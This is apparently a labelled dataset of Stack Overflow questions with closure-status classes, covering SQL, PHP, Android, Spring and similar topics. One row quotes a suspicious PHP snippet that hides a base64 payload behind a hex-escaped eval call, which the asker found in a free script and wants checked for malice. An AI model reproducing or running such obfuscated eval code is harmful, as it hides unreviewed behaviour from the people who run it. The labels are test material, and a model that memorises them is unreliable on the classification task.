PostId
int64 13
11.8M
| PostCreationDate
stringlengths 19
19
| OwnerUserId
int64 3
1.57M
| OwnerCreationDate
stringlengths 10
19
| ReputationAtPostCreation
int64 -33
210k
| OwnerUndeletedAnswerCountAtPostTime
int64 0
5.77k
| Title
stringlengths 10
250
| BodyMarkdown
stringlengths 12
30k
| Tag1
stringlengths 1
25
⌀ | Tag2
stringlengths 1
25
⌀ | Tag3
stringlengths 1
25
⌀ | Tag4
stringlengths 1
25
⌀ | Tag5
stringlengths 1
25
⌀ | PostClosedDate
stringlengths 19
19
⌀ | OpenStatus
stringclasses 5
values | unified_texts
stringlengths 47
30.1k
| OpenStatus_id
int64 0
4
|
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
11,092,915 | 06/19/2012 00:32:41 | 254,592 | 01/20/2010 04:28:49 | 94 | 5 | SQL wildcard Oddities, need stricter results | SELECT *
FROM list
WHERE list_item LIKE "%_1375_%"
returns results it should not. For example a result with _13753_ in the list_item instead of _1375_, even though the 3 comes before the underscore.
_13753_ and _1375_ are written above and not suppose to be italic.
Is there anyway to fix that? | mysql | wildcard | null | null | null | null | open | SQL wildcard Oddities, need stricter results
===
SELECT *
FROM list
WHERE list_item LIKE "%_1375_%"
returns results it should not. For example a result with _13753_ in the list_item instead of _1375_, even though the 3 comes before the underscore.
_13753_ and _1375_ are written above and not suppose to be italic.
Is there anyway to fix that? | 0 |
6,506,557 | 06/28/2011 12:42:38 | 819,165 | 06/28/2011 12:42:38 | 1 | 0 | Getting db rows while url has 3 variables? | I'm making this editing page for forum-type page. My problem is how to link edit-button to go certain page while receiving correct text from db?
Now i'm having three variables in the url which i'm passing.
for example:
<a href="".php_server["php_self"] ."?act=some_text&first_vari=".$first_vari ."&second_vari=".$second_vari ."&third_vari=".$third_vari . "\">link</a>
When i'm pressing link-button it gives correct values
(http:www.someaddress.com/index.php?act=some_text&first_vari=1&second_vari=1&thid_vari=1)
but it doesnt get correct row from db...
Any ideas how to fix this that i can get correct rows from db with those 3 variables?
| php | null | null | null | null | 03/11/2012 14:44:13 | not a real question | Getting db rows while url has 3 variables?
===
I'm making this editing page for forum-type page. My problem is how to link edit-button to go certain page while receiving correct text from db?
Now i'm having three variables in the url which i'm passing.
for example:
<a href="".php_server["php_self"] ."?act=some_text&first_vari=".$first_vari ."&second_vari=".$second_vari ."&third_vari=".$third_vari . "\">link</a>
When i'm pressing link-button it gives correct values
(http:www.someaddress.com/index.php?act=some_text&first_vari=1&second_vari=1&thid_vari=1)
but it doesnt get correct row from db...
Any ideas how to fix this that i can get correct rows from db with those 3 variables?
| 1 |
8,554,913 | 12/18/2011 21:21:54 | 1,099,798 | 12/15/2011 12:04:19 | 1 | 0 | Result of a Mysql query as a List view in android trough JSON | I would like to show data from a mysql as a list view of offices (listed by name) and when I click on a list item I should get more info about that office. Now the list doesn't appear. I'm new in Android (I start two weeks ago) so I can't understand how to fix...can somebodyy help me please?
public class Office extends ListActivity implements OnItemClickListener{
ListView officeList;
InputStream is = null;
String result = "";
String result1 [];
@Override
protected void onCreate(Bundle savedInstanceState) {
// TODO Auto-generated method stub
super.onCreate(savedInstanceState);
//setContentView(R.layout.office);
officeList = (ListView)findViewById(R.id.officeL);
//the year data to send
ArrayList<NameValuePair> nameValuePairs = new ArrayList<NameValuePair>();
nameValuePairs.add(new BasicNameValuePair("id","0"));
//http post
try{
HttpClient httpclient = new DefaultHttpClient();
HttpPost httppost = new HttpPost("http://www.protocolliweb.com/mysqlcon.php");
httppost.setEntity(new UrlEncodedFormEntity(nameValuePairs));
HttpResponse response = httpclient.execute(httppost);
HttpEntity entity = response.getEntity();
is = entity.getContent();
}catch(Exception e){
Log.e("log_tag", "Error in http connection "+e.toString());
}
//convert response to string
try{
BufferedReader reader = new BufferedReader(new InputStreamReader(is,"iso-8859-1"),8);
StringBuilder sb = new StringBuilder();
String line = null;
while ((line = reader.readLine()) != null) {
sb.append(line + "\n");
}
is.close();
result=sb.toString();
JSONArray jArray = new JSONArray(result);
for(int i=0;i<jArray.length();i++){
JSONObject json_data = jArray.getJSONObject(i);
result1[i] = json_data.getString("nome");
}
officeList.setAdapter(new ArrayAdapter<String>(this,android.R.layout.simple_list_item_1, result1));
officeList.setOnItemClickListener(this);
}catch(Exception e){
Log.e("log_tag", "Error converting result "+e.toString());
}
}
public void onItemClick(AdapterView<?> parent, View view,
int position, long id) {
String bread = officeList.getContext().toString();
Bundle basket = new Bundle();
basket.putString("key", bread);
Intent a = new Intent(Office.this,Details.class);
a.putExtras(basket);
startActivity(a);
}
}
| android | mysql | json | null | null | null | open | Result of a Mysql query as a List view in android trough JSON
===
I would like to show data from a mysql as a list view of offices (listed by name) and when I click on a list item I should get more info about that office. Now the list doesn't appear. I'm new in Android (I start two weeks ago) so I can't understand how to fix...can somebodyy help me please?
public class Office extends ListActivity implements OnItemClickListener{
ListView officeList;
InputStream is = null;
String result = "";
String result1 [];
@Override
protected void onCreate(Bundle savedInstanceState) {
// TODO Auto-generated method stub
super.onCreate(savedInstanceState);
//setContentView(R.layout.office);
officeList = (ListView)findViewById(R.id.officeL);
//the year data to send
ArrayList<NameValuePair> nameValuePairs = new ArrayList<NameValuePair>();
nameValuePairs.add(new BasicNameValuePair("id","0"));
//http post
try{
HttpClient httpclient = new DefaultHttpClient();
HttpPost httppost = new HttpPost("http://www.protocolliweb.com/mysqlcon.php");
httppost.setEntity(new UrlEncodedFormEntity(nameValuePairs));
HttpResponse response = httpclient.execute(httppost);
HttpEntity entity = response.getEntity();
is = entity.getContent();
}catch(Exception e){
Log.e("log_tag", "Error in http connection "+e.toString());
}
//convert response to string
try{
BufferedReader reader = new BufferedReader(new InputStreamReader(is,"iso-8859-1"),8);
StringBuilder sb = new StringBuilder();
String line = null;
while ((line = reader.readLine()) != null) {
sb.append(line + "\n");
}
is.close();
result=sb.toString();
JSONArray jArray = new JSONArray(result);
for(int i=0;i<jArray.length();i++){
JSONObject json_data = jArray.getJSONObject(i);
result1[i] = json_data.getString("nome");
}
officeList.setAdapter(new ArrayAdapter<String>(this,android.R.layout.simple_list_item_1, result1));
officeList.setOnItemClickListener(this);
}catch(Exception e){
Log.e("log_tag", "Error converting result "+e.toString());
}
}
public void onItemClick(AdapterView<?> parent, View view,
int position, long id) {
String bread = officeList.getContext().toString();
Bundle basket = new Bundle();
basket.putString("key", bread);
Intent a = new Intent(Office.this,Details.class);
a.putExtras(basket);
startActivity(a);
}
}
| 0 |
9,765,846 | 03/19/2012 06:23:43 | 1,241,717 | 03/01/2012 03:04:32 | 1 | 0 | When passing string from one view to other give null | When I was passing the string to first view to second view it gives me null in my second view.
It's print right on the first view.
please give me solution. | iphone | objective-c | uiview | null | null | 03/19/2012 11:53:29 | not a real question | When passing string from one view to other give null
===
When I was passing the string to first view to second view it gives me null in my second view.
It's print right on the first view.
please give me solution. | 1 |
9,161,664 | 02/06/2012 14:29:29 | 235,179 | 12/19/2009 16:32:09 | 675 | 22 | Spring Security and the Proper Way to Verify that User has Access to a Resource | I'm using Spring Security which works great to make sure that a user has a certain role before accessing a resource. But now I need to verify something a little different:
`/product/edit/{productId}`
**What is the best way to verify that the logged in user "owns" `productId`?** My business mappings handle the relationship (a `user` has a list of `products`). I need to verify this product belongs to the user and hence, they can edit it.
I know how to gain access to `productId` and the logged in user in both the controller and an interceptor. I don't believe this logic belongs in the controller at all. The interceptor seems better but I wondered if Spring Security had an "accepted" way of handling this situation. | spring | spring-security | null | null | null | null | open | Spring Security and the Proper Way to Verify that User has Access to a Resource
===
I'm using Spring Security which works great to make sure that a user has a certain role before accessing a resource. But now I need to verify something a little different:
`/product/edit/{productId}`
**What is the best way to verify that the logged in user "owns" `productId`?** My business mappings handle the relationship (a `user` has a list of `products`). I need to verify this product belongs to the user and hence, they can edit it.
I know how to gain access to `productId` and the logged in user in both the controller and an interceptor. I don't believe this logic belongs in the controller at all. The interceptor seems better but I wondered if Spring Security had an "accepted" way of handling this situation. | 0 |
5,714,479 | 04/19/2011 09:45:37 | 377,133 | 06/26/2010 21:13:01 | 176 | 2 | Periodic event implementation. | I have an ASP.NET MVC 2 web-site. All the buisnes is in the databse stored procedures (MS SQL SERVER 2008).
The task:
Some user creates record, using web-site. Appropriate row inserts into the table. This row has foreign key to another table, its value sets in the procedure. Then I want application to reassign record (change foreign key field) to another, if it was not handled during 1 minute.
For example:
1. User creates record `A(id = 1, adminId = 1)`.
2. Only administrator with id=1 see this record and he should handle it during 1 minute.
3. If admin 1 not handles record during 1 minute, it should be reassigned to another administrator. For example `A` updates to `(adminId = 3)`.
Which way would be better to do this? Parallel thread? Another application in background? Or... | sql-server | sql-server-2008 | asp.net-mvc-2 | null | null | null | open | Periodic event implementation.
===
I have an ASP.NET MVC 2 web-site. All the buisnes is in the databse stored procedures (MS SQL SERVER 2008).
The task:
Some user creates record, using web-site. Appropriate row inserts into the table. This row has foreign key to another table, its value sets in the procedure. Then I want application to reassign record (change foreign key field) to another, if it was not handled during 1 minute.
For example:
1. User creates record `A(id = 1, adminId = 1)`.
2. Only administrator with id=1 see this record and he should handle it during 1 minute.
3. If admin 1 not handles record during 1 minute, it should be reassigned to another administrator. For example `A` updates to `(adminId = 3)`.
Which way would be better to do this? Parallel thread? Another application in background? Or... | 0 |
7,560,591 | 09/26/2011 19:55:40 | 965,755 | 09/26/2011 19:52:40 | 1 | 0 | What this chat box uses? | In the below screen shot the region where chats are displayed. What ASP.NET form is used? The scroll bar automatically adjusts while a new line is added. Its not a div and works without any CSS OverFlow property. I believe that its an ASP.NET form. Anybody please tell me what form is it?
| asp.net | forms | null | null | null | 09/27/2011 02:39:27 | not a real question | What this chat box uses?
===
In the below screen shot the region where chats are displayed. What ASP.NET form is used? The scroll bar automatically adjusts while a new line is added. Its not a div and works without any CSS OverFlow property. I believe that its an ASP.NET form. Anybody please tell me what form is it?
| 1 |
856,686 | 05/13/2009 08:05:08 | 104,095 | 05/09/2009 15:42:59 | 21 | 2 | How to solve 'Synchronizing CVS' problem in Eclipse IDE? | I'm trying to make an update of one project of mine, but i don't manage.
When i try, i get the error
'Synchronizing CVS' has encountered a problem.
Problems reported while sunchronizing CVS Workspace. 0 of 1 resources were synchronized.
Details:
Problems reported while synchronizing CVS Workspace. 0 of 1 resources were synchronized.
An error occurred synchronizing /<Project name>: The server reported an error while performing the "cvs update" command.
The server reported an error while performing the "cvs update" command.
BVS: The server did not provide any additional information.
Shouldn't i care about this error or yes?
It looks that everything is fine, but it bothers me.
Thank you for reading | cvs | eclipse | synchronizing | null | null | null | open | How to solve 'Synchronizing CVS' problem in Eclipse IDE?
===
I'm trying to make an update of one project of mine, but i don't manage.
When i try, i get the error
'Synchronizing CVS' has encountered a problem.
Problems reported while sunchronizing CVS Workspace. 0 of 1 resources were synchronized.
Details:
Problems reported while synchronizing CVS Workspace. 0 of 1 resources were synchronized.
An error occurred synchronizing /<Project name>: The server reported an error while performing the "cvs update" command.
The server reported an error while performing the "cvs update" command.
BVS: The server did not provide any additional information.
Shouldn't i care about this error or yes?
It looks that everything is fine, but it bothers me.
Thank you for reading | 0 |
3,168,917 | 07/02/2010 20:27:15 | 51,230 | 01/03/2009 20:23:03 | 1,014 | 34 | GWT JUnit test in NetBeans | I have written application in GWT using NetBeans. Now I want to test my application with JUnit. I have never used JUnit before but I have basic concept of how it works. Now the question is how do I setup basic Unit test to test some of my GWT Widgets. I found [THIS][1] simple example but don't know how it can be ran in NetBeans.
[1]: http://www.ibm.com/developerworks/java/library/j-cq07247/index.html | java | unit-testing | gwt | netbeans | junit | null | open | GWT JUnit test in NetBeans
===
I have written application in GWT using NetBeans. Now I want to test my application with JUnit. I have never used JUnit before but I have basic concept of how it works. Now the question is how do I setup basic Unit test to test some of my GWT Widgets. I found [THIS][1] simple example but don't know how it can be ran in NetBeans.
[1]: http://www.ibm.com/developerworks/java/library/j-cq07247/index.html | 0 |
8,544,828 | 12/17/2011 12:42:26 | 651,016 | 03/09/2011 06:03:22 | 403 | 15 | How to implement JQgrid in asp.net? | I have worked with JQgrid in asp.net mvc, but now i am trying to implement this in asp.net.
I find a hard time making a sample in asp.net.
Do i have to use the JSON response in asp.net or i have to implement this in any other way.
Please suggest. | asp.net | jqgrid | null | null | null | 06/09/2012 13:50:16 | not a real question | How to implement JQgrid in asp.net?
===
I have worked with JQgrid in asp.net mvc, but now i am trying to implement this in asp.net.
I find a hard time making a sample in asp.net.
Do i have to use the JSON response in asp.net or i have to implement this in any other way.
Please suggest. | 1 |
9,390,974 | 02/22/2012 07:52:52 | 1,121,167 | 12/29/2011 12:30:19 | 31 | 2 | Statistical Machine Learning Books | Can someone suggest latest books on **Statistical Machine Learning** related to Computer Vision | opencv | statistics | machine-learning | computer-vision | machine-language | 07/03/2012 01:51:43 | not constructive | Statistical Machine Learning Books
===
Can someone suggest latest books on **Statistical Machine Learning** related to Computer Vision | 4 |
2,986,848 | 06/07/2010 02:56:38 | 304,828 | 03/30/2010 06:12:25 | 1 | 0 | can't open file which download with php code | header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename='.basename($file));
header('Content-Transfer-Encoding: binary');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');
header('Content-Length: ' . filesize($file));
ob_clean();
flush();
readfile($file);
i downloaded file but can't open file ? why ? | php | null | null | null | null | 06/07/2010 20:36:44 | not a real question | can't open file which download with php code
===
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename='.basename($file));
header('Content-Transfer-Encoding: binary');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');
header('Content-Length: ' . filesize($file));
ob_clean();
flush();
readfile($file);
i downloaded file but can't open file ? why ? | 1 |
4,988,519 | 02/14/2011 03:08:15 | 73,048 | 03/03/2009 02:59:24 | 1,091 | 35 | python solution for feed provider | I want to build a site same as : http://www.feedmyinbox.com/ ,
and post all my google reader subscriptions(100+) to my gmail, (in separate mails)
so I need create a feed fetcher server, get all the feeds, post new ones to my gmail.
are there any python based feed fetcher library? I know there is some feed parser, I think there is a all-in-one solution somewhere.. | python | feed | null | null | null | null | open | python solution for feed provider
===
I want to build a site same as : http://www.feedmyinbox.com/ ,
and post all my google reader subscriptions(100+) to my gmail, (in separate mails)
so I need create a feed fetcher server, get all the feeds, post new ones to my gmail.
are there any python based feed fetcher library? I know there is some feed parser, I think there is a all-in-one solution somewhere.. | 0 |
7,015,663 | 08/10/2011 18:11:59 | 688,463 | 04/02/2011 00:41:23 | 20 | 1 | Arithmetic Bit Shift of Double Variable Data Type in C | I am trying to arithmetic bit shift a double data type in C. I was wondering if this is the correct way to do it:
NOTE: firdelay[ ][ ] is declared in main as
double firdelay[8][12]
void function1(double firdelay[][12]) {
int * shiftptr;
// Cast address of element of 2D matrix (type double) to integer pointer
*shiftptr = (int *) (&firdelay[0][5]);
// Dereference integer pointer and shift right by 12 bits
*shiftptr >>= 12;
} | c | math | pointers | matrix | shift | null | open | Arithmetic Bit Shift of Double Variable Data Type in C
===
I am trying to arithmetic bit shift a double data type in C. I was wondering if this is the correct way to do it:
NOTE: firdelay[ ][ ] is declared in main as
double firdelay[8][12]
void function1(double firdelay[][12]) {
int * shiftptr;
// Cast address of element of 2D matrix (type double) to integer pointer
*shiftptr = (int *) (&firdelay[0][5]);
// Dereference integer pointer and shift right by 12 bits
*shiftptr >>= 12;
} | 0 |
2,857,143 | 05/18/2010 12:21:24 | 24,894 | 10/03/2008 15:49:45 | 41 | 8 | Is WordPress MVC compliant? | Some people consider WordPress a blogging platform, some think of it as a CMS, some refer to WordPress as a development framework. Whichever it is, the question still remains. Is WordPress MVC compliant?
I've read the forums and somebody asked about MVC about three years ago. There were some positive answers, and some negative ones. While nobody knows exactly what MVC is and everybody thinks of it in their own way, there's still a general concept that's present in all the discussions.
I have little experience with MVC frameworks and there doesn't seem to be anything about the framework itself. Most of the MVC is done by the programmer, am I right? Now, going back to WordPress, could we consider the core rewrite engine (WP_Rewrite) the controller? Queries & plugin logic as the model? And themes as the view? Or am I getting it all wrong?
Thanks ;) | wordpress | mvc | null | null | null | null | open | Is WordPress MVC compliant?
===
Some people consider WordPress a blogging platform, some think of it as a CMS, some refer to WordPress as a development framework. Whichever it is, the question still remains. Is WordPress MVC compliant?
I've read the forums and somebody asked about MVC about three years ago. There were some positive answers, and some negative ones. While nobody knows exactly what MVC is and everybody thinks of it in their own way, there's still a general concept that's present in all the discussions.
I have little experience with MVC frameworks and there doesn't seem to be anything about the framework itself. Most of the MVC is done by the programmer, am I right? Now, going back to WordPress, could we consider the core rewrite engine (WP_Rewrite) the controller? Queries & plugin logic as the model? And themes as the view? Or am I getting it all wrong?
Thanks ;) | 0 |
11,639,149 | 07/24/2012 20:53:57 | 1,166,452 | 01/24/2012 07:07:26 | 1 | 0 | how do i implement service which execute and update database in specific time interval automatically? | I Have a database that need to update rapidly (ex:at 5 min interval).
my data are in form of a .csv or .dat file stored on different server.
my problem is,
how do i implement service which execute and update database in specific time interval automatically by downloading and processing .csv or .dat file?
(solution is acceptable in any programming language or technology)
thank you. | database | web-services | scheduled-tasks | null | null | 07/24/2012 20:54:47 | not a real question | how do i implement service which execute and update database in specific time interval automatically?
===
I Have a database that need to update rapidly (ex:at 5 min interval).
my data are in form of a .csv or .dat file stored on different server.
my problem is,
how do i implement service which execute and update database in specific time interval automatically by downloading and processing .csv or .dat file?
(solution is acceptable in any programming language or technology)
thank you. | 1 |
10,603,008 | 05/15/2012 14:32:05 | 1,396,417 | 05/15/2012 14:27:14 | 1 | 0 | Java Getting remote machine time | I am making a java program for the employees in the company to be used as login/logout program. the database is located on a remote machine.
When the user logs in, I must save the time of his login. I want to get the time from the remote machine, so that each one can login from his computer, but the time is taken from the remote machine.
The remote machine runs windows2000 server. How ca I get the remote time????
Thanks in advance | java | time | remote | null | null | null | open | Java Getting remote machine time
===
I am making a java program for the employees in the company to be used as login/logout program. the database is located on a remote machine.
When the user logs in, I must save the time of his login. I want to get the time from the remote machine, so that each one can login from his computer, but the time is taken from the remote machine.
The remote machine runs windows2000 server. How ca I get the remote time????
Thanks in advance | 0 |
10,087,839 | 04/10/2012 11:26:07 | 1,157,823 | 12/22/2011 06:59:17 | 374 | 8 | how to add searchbox in ASP.Net | I am new to ASP.NET,
`i want to implement SearchBox in my Application, in Which data is coming from DB.`
How to Achive this, i searched in Google but havn't found anything...
**Any Help will be Appriciated.**
**_Thanks In Advance !!_**
| asp.net | .net | database | visual-studio-2010 | search-box | 04/10/2012 20:33:29 | not constructive | how to add searchbox in ASP.Net
===
I am new to ASP.NET,
`i want to implement SearchBox in my Application, in Which data is coming from DB.`
How to Achive this, i searched in Google but havn't found anything...
**Any Help will be Appriciated.**
**_Thanks In Advance !!_**
| 4 |
6,398,300 | 06/18/2011 19:14:50 | 471,149 | 08/01/2010 10:11:33 | 177 | 6 | how does imo.im run skype? | imo.im allows to use skype without downloading skype standalone client program. I wonder how do they do it? They have partnership with skype company? or they took usual skype client, cut off all unnecessary things and use it?
I have read skype kit license agreement, it allows to use it only in electronic devices with some exclusions.
How? | api | skype | null | null | null | 06/19/2011 07:34:52 | not a real question | how does imo.im run skype?
===
imo.im allows to use skype without downloading skype standalone client program. I wonder how do they do it? They have partnership with skype company? or they took usual skype client, cut off all unnecessary things and use it?
I have read skype kit license agreement, it allows to use it only in electronic devices with some exclusions.
How? | 1 |
10,248,776 | 04/20/2012 15:06:20 | 988,951 | 10/11/2011 06:43:47 | 16 | 1 | Why order matters in this RegEx with alternation? | Requirements for a TextBox control were to accept the following as valid inputs:
1. A sequence of numbers.
2. Literal string 'Number of rooms'.
3. No value at all (left blank). Not specifying a value at all should allow for the RegularExpressionValidator to pass.
Following RegEx yielded the desired results (successfully validated the 3 types of inputs):
"Number of rooms|[0-9]*"
However, I couldn't come up with an explanation when a colleague asked why the following fails to validate when the string 'Number of rooms' is specified (requirement #2):
"[0-9]*|Number of rooms"
An explanation as to why the ordering of alternation matters in this case would be very insightful indeed. | asp.net | .net | regex | null | null | null | open | Why order matters in this RegEx with alternation?
===
Requirements for a TextBox control were to accept the following as valid inputs:
1. A sequence of numbers.
2. Literal string 'Number of rooms'.
3. No value at all (left blank). Not specifying a value at all should allow for the RegularExpressionValidator to pass.
Following RegEx yielded the desired results (successfully validated the 3 types of inputs):
"Number of rooms|[0-9]*"
However, I couldn't come up with an explanation when a colleague asked why the following fails to validate when the string 'Number of rooms' is specified (requirement #2):
"[0-9]*|Number of rooms"
An explanation as to why the ordering of alternation matters in this case would be very insightful indeed. | 0 |
4,137,538 | 11/09/2010 19:19:30 | 502,314 | 11/09/2010 19:19:30 | 1 | 0 | Need help decoding obfuscated file | I downloaded a free reviews script from http://tinyurl.com/25q47mj
One of the files is encoded and I want to ensure it doesn't have anything malicious!
Any help would be much appreciated!
Thank you!!
php Code (without php tags shown):
$ve08156dfe67="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";@eval($ve08156dfe67(
"JG4xYjEzMGI0MGZlNDYyZWExYWVmYWVhOGNmMTAwZDIyPSJceDYyIjskbmY5Y2Y4ZTgyNGRmM2I0OWU2NjhhM2U
1MGI0NjA3ZTU9Ilx4NjUiOyRjODEzNTE2ZDlkMDExMmU3MjgwODYwZjlkNzkyOTliNj0iXHg2NiI7JG9jOGM1N2Y
5YzNmNmFhYmQxYjI2NjkxYjUyOTU4OGEyPSJceDY3IjskYTQxMzcyYzgyODQ3MDgzMDM1ZjVmYTJjZjMxNDY5NTc
9Ilx4NmQiOyR1MzVmYWY4Y2I1NWFkZGQ5ODlkMGU0ZTk3MjVjNmU1Yz0iXHg2ZiI7JGw5NzQwNDQyMDFlMDMxNjY
1YjU0OWUyNTQ3ZDM1NWUxPSJceDZmIjskc2Q3MDdhNDY5MWM2YWZlMmU2M2E0Y2M3YmE1N2Y1Zjg9Ilx4NmYiOyR
6MTdkYWM4NjEyZjIyYmQ5ODQ5MWI1ZDVlZDE0OWRlZT0iXHg2ZiI7JGVkMWI5Y2I4YmM0Y2NmMjk2ZDNkMTM2NGQ
zNGZhNTA4PSJceDczIjskaDZhMjE5ODI0Mjg2NDI2NTVkMDk3ODhmZGI1ZDY4NWU9Ilx4NzMiOyRwMDE1NDI5MmM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ZJcXVITlJZWWF2Skk5bWlXMWM1RTBxSmp
6TmJlUHVVbzczK2p0dHFWeDBUNWlJaTA3NE9tUUpUZW15aWpvdktOY25rdmk1WEs1R25zVGlwMHBCYiswYldybjV
WOGcvc3ZXMjVOZTRjaFZzTnlXa25vb0VMd04zYStlcXhTUm1mbkxrMEp3T2ZDYjljZVhWc3paajlIOHBXVElUM0J
OcUNxNzhxQ29xYlNRb3BzelVGN212NWhRVHcrc1V5NGdsL2k1NjVzbzNJMjVudVNTalNQdUMydlZOUG85dkdWVHl
6REUvMGphc2gvSm9ybzY2S1o4L0JoTzZTd2puYW83Y0c0bnczelFIUXpqeExqaENXOFZCTXhQb3MzVTBDaj09Iik
pKSk7fSRwMDE1NDI5MmM4MGYwYzdiYjc4MWFhYTNkYjhhYzU4ZCgkc2Q3MDdhNDY5MWM2YWZlMmU2M2E0Y2M3YmE
1N2Y1ZjgoKSwiXHg2M1wxNDRceDM4XDY1XHgzNlwxNDVceDMwXDE0Nlx4MzNcNjJceDM5XDcwXHg2NVw2MVx4NjN
cMTQ1XHg2M1w2NFx4NjZcNzBceDMwXDY0XHgzNFw2N1x4MzBcMTQxXHgzNVw3MVx4MzZcNzBceDM0XDE0NCIpPyR
1MzVmYWY4Y2I1NWFkZGQ5ODlkMGU0ZTk3MjVjNmU1YygpOiRsOTc0MDQ0MjAxZTAzMTY2NWI1NDllMjU0N2QzNTV
lMSgpOw==")); | php | eval | decode | decoder | null | 11/10/2010 22:15:01 | not a real question | Need help decoding obfuscated file
===
I downloaded a free reviews script from http://tinyurl.com/25q47mj
One of the files is encoded and I want to ensure it doesn't have anything malicious!
Any help would be much appreciated!
Thank you!!
php Code (without php tags shown):
$ve08156dfe67="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";@eval($ve08156dfe67(
"JG4xYjEzMGI0MGZlNDYyZWExYWVmYWVhOGNmMTAwZDIyPSJceDYyIjskbmY5Y2Y4ZTgyNGRmM2I0OWU2NjhhM2U
1MGI0Nj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DM4XDY1XHgzNlwxNDVceDMwXDE0Nlx4MzNcNjJceDM5XDcwXHg2NVw2MVx4NjN
cMTQ1XHg2M1w2NFx4NjZcNzBceDMwXDY0XHgzNFw2N1x4MzBcMTQxXHgzNVw3MVx4MzZcNzBceDM0XDE0NCIpPyR
1MzVmYWY4Y2I1NWFkZGQ5ODlkMGU0ZTk3MjVjNmU1YygpOiRsOTc0MDQ0MjAxZTAzMTY2NWI1NDllMjU0N2QzNTV
lMSgpOw==")); | 1 |
6,951,912 | 08/05/2011 05:40:05 | 879,935 | 08/05/2011 05:40:05 | 1 | 0 | Why is embedded JavaScript so slow in Internet Explorer | I have two (logically) identical HTML pages.
The first links to an external JavaScript and the second embeds that same JavaScript.
The first page takes less than a second to load in Internet Explorer 8 (I have cleared the cache), whereas the second takes 75 seconds to load.
What is IE doing ? | javascript | internet-explorer | embedded | null | null | 08/05/2011 11:34:04 | not constructive | Why is embedded JavaScript so slow in Internet Explorer
===
I have two (logically) identical HTML pages.
The first links to an external JavaScript and the second embeds that same JavaScript.
The first page takes less than a second to load in Internet Explorer 8 (I have cleared the cache), whereas the second takes 75 seconds to load.
What is IE doing ? | 4 |
2,337,561 | 02/25/2010 20:56:01 | 160,205 | 08/20/2009 16:54:31 | 1,350 | 48 | C# / Silverlight / WPF / Fast rendering lots of circles | hopefully a quick question:
I want to render a lot of circles or small graphics within either silverlight or wpf (around 1000-10000)? If I have to go to DX or OGL, that's fine, but I'm wondering about doing this within those two frameworks first.
What's the fastest way to draw a load of circles? They can be as plain as necessary, but they do need to have a radius. Currently I'm using DrawingVisual and a DrawingContext.DrawEllipse() command for each circle, then rendering the visual to a RenderTargetBItmap, but it becomes very slow as the number of circles rises.
Any ideas?
Thanks,
-Walt | c# | silverlight | wpf | graphics | null | null | open | C# / Silverlight / WPF / Fast rendering lots of circles
===
hopefully a quick question:
I want to render a lot of circles or small graphics within either silverlight or wpf (around 1000-10000)? If I have to go to DX or OGL, that's fine, but I'm wondering about doing this within those two frameworks first.
What's the fastest way to draw a load of circles? They can be as plain as necessary, but they do need to have a radius. Currently I'm using DrawingVisual and a DrawingContext.DrawEllipse() command for each circle, then rendering the visual to a RenderTargetBItmap, but it becomes very slow as the number of circles rises.
Any ideas?
Thanks,
-Walt | 0 |
9,644,539 | 03/10/2012 06:49:47 | 1,137,925 | 01/09/2012 03:19:34 | 8 | 1 | Javascript Cross browser Issue | I have programmed a simple Jquery ticker ( using a pre-made javascript ) to display tweets , ...etc
it is working fine with Firefox , chrome , IE9/10 but not working with IE8 and older versions
I have no experience with javascript so I can't find why this append doesn't work with IE8
$(settings.dom.wrapperID).append('<div style="opacity: 1;" class="tweet_row" id="' + settings.dom.tickerID.replace('#', '') + '"><span><!-- --></span><div id="' + settings.dom.contentID.replace('#', '') + '"></div><div id="' + settings.dom.revealID.replace('#', '') + '"><span><!-- --></span></div></div></div>');
The full javascrip file is here
http://www.eventster.net/js/jquery.ticker.js
and the final product can be seen here below navbar
http://www.eventster.net/
thanks | javascript | jquery | css | null | null | 03/12/2012 13:08:06 | too localized | Javascript Cross browser Issue
===
I have programmed a simple Jquery ticker ( using a pre-made javascript ) to display tweets , ...etc
it is working fine with Firefox , chrome , IE9/10 but not working with IE8 and older versions
I have no experience with javascript so I can't find why this append doesn't work with IE8
$(settings.dom.wrapperID).append('<div style="opacity: 1;" class="tweet_row" id="' + settings.dom.tickerID.replace('#', '') + '"><span><!-- --></span><div id="' + settings.dom.contentID.replace('#', '') + '"></div><div id="' + settings.dom.revealID.replace('#', '') + '"><span><!-- --></span></div></div></div>');
The full javascrip file is here
http://www.eventster.net/js/jquery.ticker.js
and the final product can be seen here below navbar
http://www.eventster.net/
thanks | 3 |
9,985,969 | 04/03/2012 01:24:15 | 1,307,030 | 04/02/2012 00:34:11 | 13 | 1 | PHP how to replace the exact words in a string | I have this php code
$filename = "verbs.php"; // http://alylores.x10.mx/vega/verbs2.php
$handle = fopen($filename, "r");
$verbs = fread($handle, filesize($filename));
fclose($handle);
and i used PHP `explode()` function
to split the words into array
`$verbslist = explode(",", $verbs);`
and i also have a string, like:
`$sentence = "Where is Phisz' dog?";`
and then i used the `str_replace()` function to remove the verbs and some specifice words from the sentence, so that the only left will be the subject(s).
`$newsentence = str_replace($verbslist,"",$sentence);`
but the result is:
new Sentence: `Phz' dog?` // the `is` on `Phisz` was also removed.
and i figured out that the problem is that the `Phisz` words contain `is` which was also removed with the `str_replace()`.
what i want is how can i remove the words/vebs from the sentence without affecting other words. I mean removing the **EXACT** VERB/WORD..... and in case insensitive...
that the expected result will be like this
new Sentence: `Phisz' dog?` | php | replace | words | null | null | null | open | PHP how to replace the exact words in a string
===
I have this php code
$filename = "verbs.php"; // http://alylores.x10.mx/vega/verbs2.php
$handle = fopen($filename, "r");
$verbs = fread($handle, filesize($filename));
fclose($handle);
and i used PHP `explode()` function
to split the words into array
`$verbslist = explode(",", $verbs);`
and i also have a string, like:
`$sentence = "Where is Phisz' dog?";`
and then i used the `str_replace()` function to remove the verbs and some specifice words from the sentence, so that the only left will be the subject(s).
`$newsentence = str_replace($verbslist,"",$sentence);`
but the result is:
new Sentence: `Phz' dog?` // the `is` on `Phisz` was also removed.
and i figured out that the problem is that the `Phisz` words contain `is` which was also removed with the `str_replace()`.
